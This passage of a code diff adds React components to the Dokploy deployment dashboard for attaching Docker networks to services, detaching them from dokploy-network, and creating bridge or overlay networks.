CardHeader,
|
||||
CardTitle,
|
||||
} from "@/components/ui/card";
|
||||
import { Checkbox } from "@/components/ui/checkbox";
|
||||
import {
|
||||
Command,
|
||||
CommandGroup,
|
||||
CommandInput,
|
||||
CommandItem,
|
||||
CommandList,
|
||||
} from "@/components/ui/command";
|
||||
import { Form, FormControl, FormField, FormItem } from "@/components/ui/form";
|
||||
import {
|
||||
Popover,
|
||||
PopoverContent,
|
||||
PopoverTrigger,
|
||||
} from "@/components/ui/popover";
|
||||
import { Switch } from "@/components/ui/switch";
|
||||
import { cn } from "@/lib/utils";
|
||||
import { api } from "@/utils/api";
|
||||
|
||||
interface Props {
|
||||
composeId: string;
|
||||
}
|
||||
|
||||
const serviceSchema = z.object({
|
||||
serviceName: z.string(),
|
||||
networkIds: z.array(z.string()),
|
||||
detachDokployNetwork: z.boolean(),
|
||||
});
|
||||
|
||||
const formSchema = z.object({
|
||||
services: z.array(serviceSchema),
|
||||
});
|
||||
|
||||
type FormValues = z.infer<typeof formSchema>;
|
||||
|
||||
export const AssignComposeNetworks = ({ composeId }: Props) => {
|
||||
const [cacheType, setCacheType] = useState<"cache" | "fetch">("cache");
|
||||
|
||||
const { data: compose } = api.compose.one.useQuery({ composeId });
|
||||
const {
|
||||
data: services,
|
||||
isLoading: isLoadingServices,
|
||||
error: servicesError,
|
||||
refetch: refetchServices,
|
||||
isRefetching: isRefetchingServices,
|
||||
} = api.compose.loadServices.useQuery(
|
||||
{ composeId, type: cacheType },
|
||||
{ retry: false },
|
||||
);
|
||||
|
||||
const onRetry = () => {
|
||||
setCacheType("fetch");
|
||||
setTimeout(() => refetchServices(), 0);
|
||||
};
|
||||
|
||||
const { data: networks } = api.network.all.useQuery(
|
||||
{ serverId: compose?.serverId ?? undefined },
|
||||
{ enabled: compose !== undefined },
|
||||
);
|
||||
const { mutateAsync, isPending } = api.compose.update.useMutation();
|
||||
const utils = api.useUtils();
|
||||
|
||||
const form = useForm<FormValues>({
|
||||
resolver: zodResolver(formSchema),
|
||||
defaultValues: { services: [] },
|
||||
});
|
||||
const { fields } = useFieldArray({
|
||||
control: form.control,
|
||||
name: "services",
|
||||
});
|
||||
|
||||
useEffect(() => {
|
||||
if (!services) return;
|
||||
const serviceNetworks = compose?.serviceNetworks ?? [];
|
||||
form.reset({
|
||||
services: services.map((serviceName) => {
|
||||
const config = serviceNetworks.find(
|
||||
(s) => s.serviceName === serviceName,
|
||||
);
|
||||
return {
|
||||
serviceName,
|
||||
networkIds: config?.networkIds ?? [],
|
||||
detachDokployNetwork: config?.detachDokployNetwork ?? false,
|
||||
};
|
||||
}),
|
||||
});
|
||||
}, [services, compose?.serviceNetworks, form]);
|
||||
|
||||
const allowsBridge = compose?.composeType === "docker-compose";
|
||||
const availableNetworks = (networks ?? []).filter(
|
||||
(n) => allowsBridge || n.driver === "overlay",
|
||||
);
|
||||
|
||||
const onSubmit = async (values: FormValues) => {
|
||||
try {
|
||||
const serviceNetworks = values.services.filter(
|
||||
(s) => s.networkIds.length > 0 || s.detachDokployNetwork,
|
||||
);
|
||||
await mutateAsync({
|
||||
composeId,
|
||||
serviceNetworks,
|
||||
});
|
||||
toast.success("Networks updated. Redeploy the compose to apply them.");
|
||||
await utils.compose.one.invalidate({ composeId });
|
||||
} catch (error) {
|
||||
toast.error("Error updating networks", {
|
||||
description: error instanceof Error ? error.message : "Unknown error",
|
||||
});
|
||||
}
|
||||
};
|
||||
|
||||
return (
|
||||
<Card className="bg-background">
|
||||
<CardHeader className="flex flex-row items-start justify-between flex-wrap gap-2">
|
||||
<div className="flex flex-col gap-1">
|
||||
<CardTitle className="text-xl">Networks</CardTitle>
|
||||
<CardDescription>
|
||||
Attach Docker networks per service and detach it from
|
||||
dokploy-network. Takes effect on the next deploy.
|
||||
</CardDescription>
|
||||
</div>
|
||||
<Button
|
||||
variant="outline"
|
||||
size="sm"
|
||||
isLoading={isRefetchingServices}
|
||||
onClick={onRetry}
|
||||
>
|
||||
<RefreshCw className="size-4" />
|
||||
Refresh
|
||||
</Button>
|
||||
</CardHeader>
|
||||
<CardContent className="flex flex-col gap-4">
|
||||
{servicesError ? (
|
||||
<div className="flex flex-col gap-3">
|
||||
<AlertBlock type="error">
|
||||
Could not load the compose services. If this compose was just
|
||||
created from a template, it hasn't been cloned yet — click Reload
|
||||
to clone the repository and read its services.
|
||||
</AlertBlock>
|
||||
<div className="flex justify-end">
|
||||
<Button
|
||||
variant="outline"
|
||||
size="sm"
|
||||
isLoading={isRefetchingServices}
|
||||
onClick={onRetry}
|
||||
>
|
||||
<RefreshCw className="size-4" />
|
||||
Reload services
|
||||
</Button>
|
||||
</div>
|
||||
</div>
|
||||
) : isLoadingServices ? (
|
||||
<div className="flex flex-row gap-2 items-center justify-center py-10 text-sm text-muted-foreground">
|
||||
<span>Loading services...</span>
|
||||
<Loader2 className="animate-spin size-4" />
|
||||
</div>
|
||||
) : !services?.length ? (
|
||||
<span className="py-6 text-center text-sm text-muted-foreground">
|
||||
No services found in this compose.
|
||||
</span>
|
||||
) : (
|
||||
<Form {...form}>
|
||||
<form
|
||||
onSubmit={form.handleSubmit(onSubmit)}
|
||||
className="flex flex-col gap-4"
|
||||
>
|
||||
{fields.map((fieldItem, index) => (
|
||||
<ServiceRow
|
||||
key={fieldItem.id}
|
||||
control={form.control}
|
||||
index={index}
|
||||
service={fieldItem.serviceName}
|
||||
availableNetworks={availableNetworks}
|
||||
/>
|
||||
))}
|
||||
<div className="flex justify-end">
|
||||
<Button
|
||||
type="submit"
|
||||
disabled={!form.formState.isDirty}
|
||||
isLoading={isPending}
|
||||
>
|
||||
Save
|
||||
</Button>
|
||||
</div>
|
||||
</form>
|
||||
</Form>
|
||||
)}
|
||||
</CardContent>
|
||||
</Card>
|
||||
);
|
||||
};
|
||||
|
||||
type NetworkOption = { networkId: string; name: string; driver: string };
|
||||
|
||||
const ServiceRow = ({
|
||||
control,
|
||||
index,
|
||||
service,
|
||||
availableNetworks,
|
||||
}: {
|
||||
control: ReturnType<typeof useForm<FormValues>>["control"];
|
||||
index: number;
|
||||
service: string;
|
||||
availableNetworks: NetworkOption[];
|
||||
}) => {
|
||||
const [open, setOpen] = useState(false);
|
||||
|
||||
return (
|
||||
<div className="flex flex-col gap-3 rounded-lg border p-4">
|
||||
<FormField
|
||||
control={control}
|
||||
name={`services.${index}.detachDokployNetwork`}
|
||||
render={({ field }) => (
|
||||
<FormItem className="flex flex-row items-center justify-between gap-3 space-y-0">
|
||||
<span className="text-sm font-medium">{service}</span>
|
||||
<div className="flex items-center gap-2">
|
||||
<span className="text-xs text-muted-foreground">
|
||||
Detach dokploy-network
|
||||
</span>
|
||||
<FormControl>
|
||||
<Switch
|
||||
checked={field.value}
|
||||
onCheckedChange={field.onChange}
|
||||
/>
|
||||
</FormControl>
|
||||
</div>
|
||||
</FormItem>
|
||||
)}
|
||||
/>
|
||||
|
||||
<FormField
|
||||
control={control}
|
||||
name={`services.${index}.networkIds`}
|
||||
render={({ field }) => {
|
||||
const selectedNetworks = availableNetworks.filter((n) =>
|
||||
field.value.includes(n.networkId),
|
||||
);
|
||||
const toggle = (networkId: string) => {
|
||||
field.onChange(
|
||||
field.value.includes(networkId)
|
||||
? field.value.filter((id) => id !== networkId)
|
||||
: [...field.value, networkId],
|
||||
);
|
||||
};
|
||||
return (
|
||||
<FormItem className="space-y-3">
|
||||
<Popover open={open} onOpenChange={setOpen}>
|
||||
<PopoverTrigger asChild>
|
||||
<Button
|
||||
type="button"
|
||||
variant="outline"
|
||||
aria-expanded={open}
|
||||
className="w-full justify-between"
|
||||
>
|
||||
<span className="text-muted-foreground">
|
||||
{selectedNetworks.length > 0
|
||||
? `${selectedNetworks.length} network${
|
||||
selectedNetworks.length > 1 ? "s" : ""
|
||||
} selected`
|
||||
: "Select networks..."}
|
||||
</span>
|
||||
<ChevronsUpDown className="ml-2 size-4 shrink-0 opacity-50" />
|
||||
</Button>
|
||||
</PopoverTrigger>
|
||||
<PopoverContent
|
||||
className="w-[var(--radix-popover-trigger-width)] p-0"
|
||||
align="start"
|
||||
>
|
||||
<Command>
|
||||
<CommandInput
|
||||
placeholder="Search networks..."
|
||||
className="h-9"
|
||||
/>
|
||||
<CommandList className="max-h-60">
|
||||
{availableNetworks.length === 0 ? (
|
||||
<div className="py-6 text-center text-sm text-muted-foreground">
|
||||
No networks available on this server.
|
||||
</div>
|
||||
) : (
|
||||
<CommandGroup>
|
||||
{availableNetworks.map((n) => {
|
||||
const isSelected = field.value.includes(
|
||||
n.networkId,
|
||||
);
|
||||
return (
|
||||
<CommandItem
|
||||
key={n.networkId}
|
||||
value={n.name}
|
||||
onSelect={() => toggle(n.networkId)}
|
||||
className="cursor-pointer"
|
||||
>
|
||||
<Checkbox
|
||||
checked={isSelected}
|
||||
className="mr-2"
|
||||
onCheckedChange={() => toggle(n.networkId)}
|
||||
/>
|
||||
<span>{n.name}</span>
|
||||
<Badge variant="outline" className="ml-2">
|
||||
{n.driver}
|
||||
</Badge>
|
||||
<Check
|
||||
className={cn(
|
||||
"ml-auto size-4",
|
||||
isSelected ? "opacity-100" : "opacity-0",
|
||||
)}
|
||||
/>
|
||||
</CommandItem>
|
||||
);
|
||||
})}
|
||||
</CommandGroup>
|
||||
)}
|
||||
</CommandList>
|
||||
</Command>
|
||||
</PopoverContent>
|
||||
</Popover>
|
||||
|
||||
{selectedNetworks.length > 0 && (
|
||||
<div className="flex flex-wrap gap-1.5">
|
||||
{selectedNetworks.map((n) => (
|
||||
<Badge key={n.networkId} variant="secondary">
|
||||
{n.name}
|
||||
</Badge>
|
||||
))}
|
||||
</div>
|
||||
)}
|
||||
</FormItem>
|
||||
);
|
||||
}}
|
||||
/>
|
||||
</div>
|
||||
);
|
||||
};
|
||||
@@ -0,0 +1,355 @@
|
||||
import { Check, ChevronsUpDown, X } from "lucide-react";
|
||||
import { useEffect, useState } from "react";
|
||||
import { toast } from "sonner";
|
||||
import { AlertBlock } from "@/components/shared/alert-block";
|
||||
import { Badge } from "@/components/ui/badge";
|
||||
import { Button } from "@/components/ui/button";
|
||||
import {
|
||||
Card,
|
||||
CardContent,
|
||||
CardDescription,
|
||||
CardHeader,
|
||||
CardTitle,
|
||||
} from "@/components/ui/card";
|
||||
import { Checkbox } from "@/components/ui/checkbox";
|
||||
import {
|
||||
Command,
|
||||
CommandEmpty,
|
||||
CommandGroup,
|
||||
CommandInput,
|
||||
CommandItem,
|
||||
CommandList,
|
||||
} from "@/components/ui/command";
|
||||
import {
|
||||
Popover,
|
||||
PopoverContent,
|
||||
PopoverTrigger,
|
||||
} from "@/components/ui/popover";
|
||||
import { Switch } from "@/components/ui/switch";
|
||||
import { cn } from "@/lib/utils";
|
||||
import { api } from "@/utils/api";
|
||||
|
||||
type ServiceType =
|
||||
| "application"
|
||||
| "postgres"
|
||||
| "mysql"
|
||||
| "mariadb"
|
||||
| "mongo"
|
||||
| "redis"
|
||||
| "libsql";
|
||||
|
||||
interface Props {
|
||||
id: string;
|
||||
type: ServiceType;
|
||||
}
|
||||
|
||||
export const AssignNetworks = ({ id, type }: Props) => {
|
||||
const [open, setOpen] = useState(false);
|
||||
const [selected, setSelected] = useState<string[]>([]);
|
||||
const [detached, setDetached] = useState(false);
|
||||
|
||||
const {
|
||||
service,
|
||||
serverId,
|
||||
networkIds,
|
||||
detachDokployNetwork,
|
||||
updateAsync,
|
||||
isUpdating,
|
||||
refetch,
|
||||
} = useServiceNetworks(id, type);
|
||||
|
||||
const { data: networks } = api.network.all.useQuery(
|
||||
{ serverId: serverId ?? undefined },
|
||||
{ enabled: service !== undefined },
|
||||
);
|
||||
|
||||
const { data: applicationDomains } = api.domain.byApplicationId.useQuery(
|
||||
{ applicationId: id },
|
||||
{ enabled: type === "application" },
|
||||
);
|
||||
const hasDomains = (applicationDomains?.length ?? 0) > 0;
|
||||
|
||||
useEffect(() => {
|
||||
setSelected(networkIds ?? []);
|
||||
setDetached(detachDokployNetwork ?? false);
|
||||
}, [networkIds, detachDokployNetwork]);
|
||||
|
||||
const availableNetworks = (networks ?? []).filter(
|
||||
(n) => n.driver === "overlay",
|
||||
);
|
||||
const selectedNetworks = availableNetworks.filter((n) =>
|
||||
selected.includes(n.networkId),
|
||||
);
|
||||
const isDirty =
|
||||
selected.length !== (networkIds?.length ?? 0) ||
|
||||
selected.some((networkId) => !networkIds?.includes(networkId)) ||
|
||||
detached !== detachDokployNetwork;
|
||||
|
||||
const toggle = (networkId: string) => {
|
||||
setSelected((prev) =>
|
||||
prev.includes(networkId)
|
||||
? prev.filter((id) => id !== networkId)
|
||||
: [...prev, networkId],
|
||||
);
|
||||
};
|
||||
|
||||
const onSave = async () => {
|
||||
try {
|
||||
await updateAsync({
|
||||
networkIds: selected,
|
||||
detachDokployNetwork: detached,
|
||||
});
|
||||
toast.success("Networks updated. Redeploy the service to apply them.");
|
||||
await refetch();
|
||||
} catch (error) {
|
||||
toast.error("Error updating networks", {
|
||||
description: error instanceof Error ? error.message : "Unknown error",
|
||||
});
|
||||
}
|
||||
};
|
||||
|
||||
return (
|
||||
<Card className="bg-background">
|
||||
<CardHeader className="flex flex-row items-center justify-between flex-wrap gap-2">
|
||||
<div className="flex flex-col gap-1">
|
||||
<CardTitle className="text-xl">Networks</CardTitle>
|
||||
<CardDescription>
|
||||
Attach additional Docker networks to this service so it can reach
|
||||
services on those networks. Takes effect on the next deploy.
|
||||
</CardDescription>
|
||||
</div>
|
||||
</CardHeader>
|
||||
<CardContent className="flex flex-col gap-4">
|
||||
<div className="flex flex-row items-start justify-between gap-3 rounded-lg border p-4">
|
||||
<div className="space-y-1 pr-1">
|
||||
<div className="flex items-center gap-2">
|
||||
<span className="text-sm font-medium">
|
||||
Detach from dokploy-network
|
||||
</span>
|
||||
<Badge variant="secondary">dokploy-network</Badge>
|
||||
</div>
|
||||
<p className="text-sm text-muted-foreground">
|
||||
By default the service joins the shared dokploy-network. Detach it
|
||||
to keep it reachable only through the networks you attach below.
|
||||
</p>
|
||||
</div>
|
||||
<Switch checked={detached} onCheckedChange={setDetached} />
|
||||
</div>
|
||||
|
||||
{detached && hasDomains && (
|
||||
<AlertBlock type="warning">
|
||||
Warning: this service has domains. Detaching it from dokploy-network
|
||||
will break Traefik routing, and its domains will stop working.
|
||||
</AlertBlock>
|
||||
)}
|
||||
|
||||
{detached && !hasDomains && selected.length === 0 && (
|
||||
<AlertBlock type="warning">
|
||||
This service is detached from dokploy-network but has no other
|
||||
network attached. It would be unreachable, so dokploy-network will
|
||||
be kept until you attach a network below.
|
||||
</AlertBlock>
|
||||
)}
|
||||
|
||||
<Popover open={open} onOpenChange={setOpen}>
|
||||
<PopoverTrigger asChild>
|
||||
<Button
|
||||
variant="outline"
|
||||
aria-expanded={open}
|
||||
className="w-full justify-between"
|
||||
>
|
||||
<span className="text-muted-foreground">
|
||||
{selectedNetworks.length > 0
|
||||
? `${selectedNetworks.length} network${
|
||||
selectedNetworks.length > 1 ? "s" : ""
|
||||
} selected`
|
||||
: "Select networks..."}
|
||||
</span>
|
||||
<ChevronsUpDown className="ml-2 size-4 shrink-0 opacity-50" />
|
||||
</Button>
|
||||
</PopoverTrigger>
|
||||
<PopoverContent
|
||||
className="w-[var(--radix-popover-trigger-width)] p-0"
|
||||
align="start"
|
||||
>
|
||||
<Command>
|
||||
<CommandInput placeholder="Search networks..." className="h-9" />
|
||||
<CommandList className="max-h-60">
|
||||
{availableNetworks.length === 0 ? (
|
||||
<div className="py-6 text-center text-sm text-muted-foreground">
|
||||
No overlay networks on this server.
|
||||
</div>
|
||||
) : (
|
||||
<>
|
||||
<CommandEmpty className="py-6 text-center text-sm text-muted-foreground">
|
||||
No networks found.
|
||||
</CommandEmpty>
|
||||
<CommandGroup>
|
||||
{availableNetworks.map((n) => {
|
||||
const isSelected = selected.includes(n.networkId);
|
||||
return (
|
||||
<CommandItem
|
||||
key={n.networkId}
|
||||
value={n.name}
|
||||
onSelect={() => toggle(n.networkId)}
|
||||
className="cursor-pointer"
|
||||
>
|
||||
<Checkbox
|
||||
checked={isSelected}
|
||||
className="mr-2"
|
||||
onCheckedChange={() => toggle(n.networkId)}
|
||||
/>
|
||||
<span>{n.name}</span>
|
||||
<Badge variant="outline" className="ml-2">
|
||||
{n.driver}
|
||||
</Badge>
|
||||
<Check
|
||||
className={cn(
|
||||
"ml-auto size-4",
|
||||
isSelected ? "opacity-100" : "opacity-0",
|
||||
)}
|
||||
/>
|
||||
</CommandItem>
|
||||
);
|
||||
})}
|
||||
</CommandGroup>
|
||||
</>
|
||||
)}
|
||||
</CommandList>
|
||||
</Command>
|
||||
</PopoverContent>
|
||||
</Popover>
|
||||
|
||||
{selectedNetworks.length > 0 && (
|
||||
<div className="flex flex-wrap gap-1.5">
|
||||
{selectedNetworks.map((n) => (
|
||||
<Badge
|
||||
key={n.networkId}
|
||||
variant="secondary"
|
||||
className="flex items-center gap-1 pr-1"
|
||||
>
|
||||
{n.name}
|
||||
<button
|
||||
type="button"
|
||||
onClick={() => toggle(n.networkId)}
|
||||
className="ml-0.5 rounded-full outline-hidden hover:opacity-70"
|
||||
>
|
||||
<X className="size-3" />
|
||||
<span className="sr-only">Remove {n.name}</span>
|
||||
</button>
|
||||
</Badge>
|
||||
))}
|
||||
</div>
|
||||
)}
|
||||
|
||||
<div className="flex justify-end">
|
||||
<Button disabled={!isDirty} isLoading={isUpdating} onClick={onSave}>
|
||||
Save
|
||||
</Button>
|
||||
</div>
|
||||
</CardContent>
|
||||
</Card>
|
||||
);
|
||||
};
|
||||
|
||||
// Maps a service type to its one-query and update-mutation, normalizing the
|
||||
// per-type id field name and the networkIds field.
|
||||
const useServiceNetworks = (id: string, type: ServiceType) => {
|
||||
const application = api.application.one.useQuery(
|
||||
{ applicationId: id },
|
||||
{ enabled: type === "application" },
|
||||
);
|
||||
const postgres = api.postgres.one.useQuery(
|
||||
{ postgresId: id },
|
||||
{ enabled: type === "postgres" },
|
||||
);
|
||||
const mysql = api.mysql.one.useQuery(
|
||||
{ mysqlId: id },
|
||||
{ enabled: type === "mysql" },
|
||||
);
|
||||
const mariadb = api.mariadb.one.useQuery(
|
||||
{ mariadbId: id },
|
||||
{ enabled: type === "mariadb" },
|
||||
);
|
||||
const mongo = api.mongo.one.useQuery(
|
||||
{ mongoId: id },
|
||||
{ enabled: type === "mongo" },
|
||||
);
|
||||
const redis = api.redis.one.useQuery(
|
||||
{ redisId: id },
|
||||
{ enabled: type === "redis" },
|
||||
);
|
||||
const libsql = api.libsql.one.useQuery(
|
||||
{ libsqlId: id },
|
||||
{ enabled: type === "libsql" },
|
||||
);
|
||||
const applicationUpdate = api.application.update.useMutation();
|
||||
const postgresUpdate = api.postgres.update.useMutation();
|
||||
const mysqlUpdate = api.mysql.update.useMutation();
|
||||
const mariadbUpdate = api.mariadb.update.useMutation();
|
||||
const mongoUpdate = api.mongo.update.useMutation();
|
||||
const redisUpdate = api.redis.update.useMutation();
|
||||
const libsqlUpdate = api.libsql.update.useMutation();
|
||||
|
||||
const map = {
|
||||
application: {
|
||||
query: application,
|
||||
mutation: applicationUpdate,
|
||||
save: (payload: SavePayload) =>
|
||||
applicationUpdate.mutateAsync({ applicationId: id, ...payload }),
|
||||
},
|
||||
postgres: {
|
||||
query: postgres,
|
||||
mutation: postgresUpdate,
|
||||
save: (payload: SavePayload) =>
|
||||
postgresUpdate.mutateAsync({ postgresId: id, ...payload }),
|
||||
},
|
||||
mysql: {
|
||||
query: mysql,
|
||||
mutation: mysqlUpdate,
|
||||
save: (payload: SavePayload) =>
|
||||
mysqlUpdate.mutateAsync({ mysqlId: id, ...payload }),
|
||||
},
|
||||
mariadb: {
|
||||
query: mariadb,
|
||||
mutation: mariadbUpdate,
|
||||
save: (payload: SavePayload) =>
|
||||
mariadbUpdate.mutateAsync({ mariadbId: id, ...payload }),
|
||||
},
|
||||
mongo: {
|
||||
query: mongo,
|
||||
mutation: mongoUpdate,
|
||||
save: (payload: SavePayload) =>
|
||||
mongoUpdate.mutateAsync({ mongoId: id, ...payload }),
|
||||
},
|
||||
redis: {
|
||||
query: redis,
|
||||
mutation: redisUpdate,
|
||||
save: (payload: SavePayload) =>
|
||||
redisUpdate.mutateAsync({ redisId: id, ...payload }),
|
||||
},
|
||||
libsql: {
|
||||
query: libsql,
|
||||
mutation: libsqlUpdate,
|
||||
save: (payload: SavePayload) =>
|
||||
libsqlUpdate.mutateAsync({ libsqlId: id, ...payload }),
|
||||
},
|
||||
}[type];
|
||||
|
||||
const service = map.query.data;
|
||||
|
||||
return {
|
||||
service,
|
||||
serverId: service?.serverId ?? null,
|
||||
networkIds: service?.networkIds ?? [],
|
||||
detachDokployNetwork: service?.detachDokployNetwork ?? false,
|
||||
updateAsync: map.save,
|
||||
isUpdating: map.mutation.isPending,
|
||||
refetch: map.query.refetch,
|
||||
};
|
||||
};
|
||||
|
||||
type SavePayload = {
|
||||
networkIds: string[];
|
||||
detachDokployNetwork: boolean;
|
||||
};
|
||||
@@ -0,0 +1,404 @@
|
||||
"use client";
|
||||
|
||||
import { standardSchemaResolver as zodResolver } from "@hookform/resolvers/standard-schema";
|
||||
import { Network, Plus, Trash2 } from "lucide-react";
|
||||
import { useState } from "react";
|
||||
import { useFieldArray, useForm } from "react-hook-form";
|
||||
import { toast } from "sonner";
|
||||
import { z } from "zod";
|
||||
import { Button } from "@/components/ui/button";
|
||||
import {
|
||||
Dialog,
|
||||
DialogContent,
|
||||
DialogDescription,
|
||||
DialogFooter,
|
||||
DialogHeader,
|
||||
DialogTitle,
|
||||
DialogTrigger,
|
||||
} from "@/components/ui/dialog";
|
||||
import {
|
||||
Form,
|
||||
FormControl,
|
||||
FormDescription,
|
||||
FormField,
|
||||
FormItem,
|
||||
FormLabel,
|
||||
FormMessage,
|
||||
} from "@/components/ui/form";
|
||||
import { Input } from "@/components/ui/input";
|
||||
import {
|
||||
Select,
|
||||
SelectContent,
|
||||
SelectItem,
|
||||
SelectTrigger,
|
||||
SelectValue,
|
||||
} from "@/components/ui/select";
|
||||
import { Switch } from "@/components/ui/switch";
|
||||
import { api } from "@/utils/api";
|
||||
|
||||
// Only bridge and overlay can be created: "host"/"none" are Docker
|
||||
// singletons and macvlan/ipvlan need driver options we don't expose.
|
||||
const networkDriverEnum = ["bridge", "overlay"] as const;
|
||||
|
||||
const ipamConfigEntrySchema = z.object({
|
||||
subnet: z.string().optional(),
|
||||
ipRange: z.string().optional(),
|
||||
gateway: z.string().optional(),
|
||||
});
|
||||
|
||||
const networkFormSchema = z
|
||||
.object({
|
||||
name: z.string().min(1, "Name is required"),
|
||||
driver: z.enum(networkDriverEnum),
|
||||
internal: z.boolean(),
|
||||
attachable: z.boolean(),
|
||||
enableIPv4: z.boolean(),
|
||||
enableIPv6: z.boolean(),
|
||||
mtu: z
|
||||
.string()
|
||||
.refine(
|
||||
(value) =>
|
||||
value === "" ||
|
||||
(/^\d+$/.test(value) && +value >= 68 && +value <= 65535),
|
||||
{ message: "MTU must be a number between 68 and 65535" },
|
||||
),
|
||||
ipamDriver: z.string().optional(),
|
||||
ipamConfig: z.array(ipamConfigEntrySchema),
|
||||
})
|
||||
.superRefine((input, ctx) => {
|
||||
if (!input.enableIPv4 && !input.enableIPv6) {
|
||||
ctx.addIssue({
|
||||
code: z.ZodIssueCode.custom,
|
||||
path: ["enableIPv4"],
|
||||
message: "IPv4 or IPv6 must be enabled",
|
||||
});
|
||||
}
|
||||
for (const [index, entry] of input.ipamConfig.entries()) {
|
||||
if (!entry.subnet && (entry.gateway || entry.ipRange)) {
|
||||
ctx.addIssue({
|
||||
code: z.ZodIssueCode.custom,
|
||||
path: ["ipamConfig", index, "subnet"],
|
||||
message: "Gateway and IP range require a subnet",
|
||||
});
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
type NetworkFormValues = z.infer<typeof networkFormSchema>;
|
||||
|
||||
const defaultValues: NetworkFormValues = {
|
||||
name: "",
|
||||
driver: "bridge",
|
||||
internal: false,
|
||||
attachable: false,
|
||||
enableIPv4: true,
|
||||
enableIPv6: false,
|
||||
mtu: "",
|
||||
ipamDriver: "",
|
||||
ipamConfig: [],
|
||||
};
|
||||
|
||||
const toggleOptions = [
|
||||
{
|
||||
name: "internal",
|
||||
label: "Internal",
|
||||
description: "Containers on this network cannot reach external networks.",
|
||||
},
|
||||
{
|
||||
name: "attachable",
|
||||
label: "Attachable",
|
||||
description:
|
||||
"Allow standalone containers to attach (overlay networks only).",
|
||||
},
|
||||
{
|
||||
name: "enableIPv4",
|
||||
label: "Enable IPv4",
|
||||
description: "Enable IPv4 addressing on the network.",
|
||||
},
|
||||
{
|
||||
name: "enableIPv6",
|
||||
label: "Enable IPv6",
|
||||
description: "Enable IPv6 addressing on the network.",
|
||||
},
|
||||
] as const;
|
||||
|
||||
interface HandleNetworkProps {
|
||||
/** Target server; undefined creates on the local Dokploy server */
|
||||
serverId?: string;
|
||||
children?: React.ReactNode;
|
||||
}
|
||||
|
||||
// Docker networks are immutable, so this dialog only creates them;
|
||||
// changing a network means deleting and recreating it.
|
||||
export const HandleNetwork = ({ serverId, children }: HandleNetworkProps) => {
|
||||
const [isOpen, setIsOpen] = useState(false);
|
||||
const utils = api.useUtils();
|
||||
|
||||
const { mutateAsync, isPending } = api.network.create.useMutation();
|
||||
|
||||
const form = useForm<NetworkFormValues>({
|
||||
resolver: zodResolver(networkFormSchema),
|
||||
defaultValues,
|
||||
});
|
||||
|
||||
const ipamConfigFieldArray = useFieldArray({
|
||||
control: form.control,
|
||||
name: "ipamConfig",
|
||||
});
|
||||
|
||||
const onSubmit = async (data: NetworkFormValues) => {
|
||||
try {
|
||||
await mutateAsync({
|
||||
name: data.name,
|
||||
driver: data.driver,
|
||||
serverId,
|
||||
internal: data.internal,
|
||||
attachable: data.attachable,
|
||||
enableIPv4: data.enableIPv4,
|
||||
enableIPv6: data.enableIPv6,
|
||||
mtu: data.mtu ? Number(data.mtu) : undefined,
|
||||
ipam: {
|
||||
driver: data.ipamDriver || undefined,
|
||||
config: data.ipamConfig,
|
||||
},
|
||||
});
|
||||
|
||||
toast.success("Network created");
|
||||
await utils.network.all.invalidate();
|
||||
setIsOpen(false);
|
||||
form.reset(defaultValues);
|
||||
} catch (error) {
|
||||
toast.error("Error creating network", {
|
||||
description: error instanceof Error ? error.message : "Unknown error",
|
||||
});
|
||||
}
|
||||
};
|
||||
|
||||
const trigger = children ?? (
|
||||
<Button>
|
||||
<Plus className=" size-4" />
|
||||
Add network
|
||||
</Button>
|
||||
);
|
||||
|
||||
return (
|
||||
<Dialog open={isOpen} onOpenChange={setIsOpen}>
|
||||
<DialogTrigger asChild>{trigger}</DialogTrigger>
|
||||
<DialogContent className="sm:max-w-2xl max-h-[90vh] overflow-y-auto">
|
||||
<DialogHeader>
|
||||
<DialogTitle className="flex items-center gap-2">
|
||||
<Network className="size-5 text-muted-foreground" />
|
||||
Add network
|
||||
</DialogTitle>
|
||||
<DialogDescription>
|
||||
Create a new Docker network for your organization. Networks are
|
||||
immutable: to change one, delete it and create it again.
|
||||
</DialogDescription>
|
||||
</DialogHeader>
|
||||
<Form {...form}>
|
||||
<form
|
||||
onSubmit={form.handleSubmit(onSubmit)}
|
||||
className="flex w-full flex-col gap-6"
|
||||
>
|
||||
<div className="grid grid-cols-1 gap-4 sm:grid-cols-2">
|
||||
<FormField
|
||||
control={form.control}
|
||||
name="name"
|
||||
render={({ field }) => (
|
||||
<FormItem>
|
||||
<FormLabel>Name</FormLabel>
|
||||
<FormControl>
|
||||
<Input placeholder="my-network" {...field} />
|
||||
</FormControl>
|
||||
<FormMessage />
|
||||
</FormItem>
|
||||
)}
|
||||
/>
|
||||
<FormField
|
||||
control={form.control}
|
||||
name="driver"
|
||||
render={({ field }) => (
|
||||
<FormItem>
|
||||
<FormLabel>Driver</FormLabel>
|
||||
<Select onValueChange={field.onChange} value={field.value}>
|
||||
<FormControl>
|
||||
<SelectTrigger>
|
||||
<SelectValue placeholder="Select driver" />
|
||||
</SelectTrigger>
|
||||
</FormControl>
|
||||
<SelectContent>
|
||||
{networkDriverEnum.map((d) => (
|
||||
<SelectItem key={d} value={d}>
|
||||
{d}
|
||||
</SelectItem>
|
||||
))}
|
||||
</SelectContent>
|
||||
</Select>
|
||||
<FormDescription className="text-muted-foreground">
|
||||
bridge for single-server containers; overlay for Swarm
|
||||
services.
|
||||
</FormDescription>
|
||||
<FormMessage />
|
||||
</FormItem>
|
||||
)}
|
||||
/>
|
||||
<FormField
|
||||
control={form.control}
|
||||
name="mtu"
|
||||
render={({ field }) => (
|
||||
<FormItem>
|
||||
<FormLabel>MTU (optional)</FormLabel>
|
||||
<FormControl>
|
||||
<Input
|
||||
placeholder="1500"
|
||||
inputMode="numeric"
|
||||
{...field}
|
||||
/>
|
||||
</FormControl>
|
||||
<FormDescription className="text-muted-foreground">
|
||||
Maximum transmission unit. Leave empty to use Docker's
|
||||
default.
|
||||
</FormDescription>
|
||||
<FormMessage />
|
||||
</FormItem>
|
||||
)}
|
||||
/>
|
||||
</div>
|
||||
<div className="grid grid-cols-1 gap-4 sm:grid-cols-2">
|
||||
{toggleOptions.map((option) => (
|
||||
<FormField
|
||||
key={option.name}
|
||||
control={form.control}
|
||||
name={option.name}
|
||||
render={({ field }) => (
|
||||
<FormItem className="flex flex-row items-start justify-between gap-3 space-y-0 rounded-lg border p-4">
|
||||
<div className="space-y-1 pr-1">
|
||||
<FormLabel>{option.label}</FormLabel>
|
||||
<FormDescription className="text-muted-foreground">
|
||||
{option.description}
|
||||
</FormDescription>
|
||||
</div>
|
||||
<FormControl>
|
||||
<Switch
|
||||
checked={field.value}
|
||||
onCheckedChange={field.onChange}
|
||||
/>
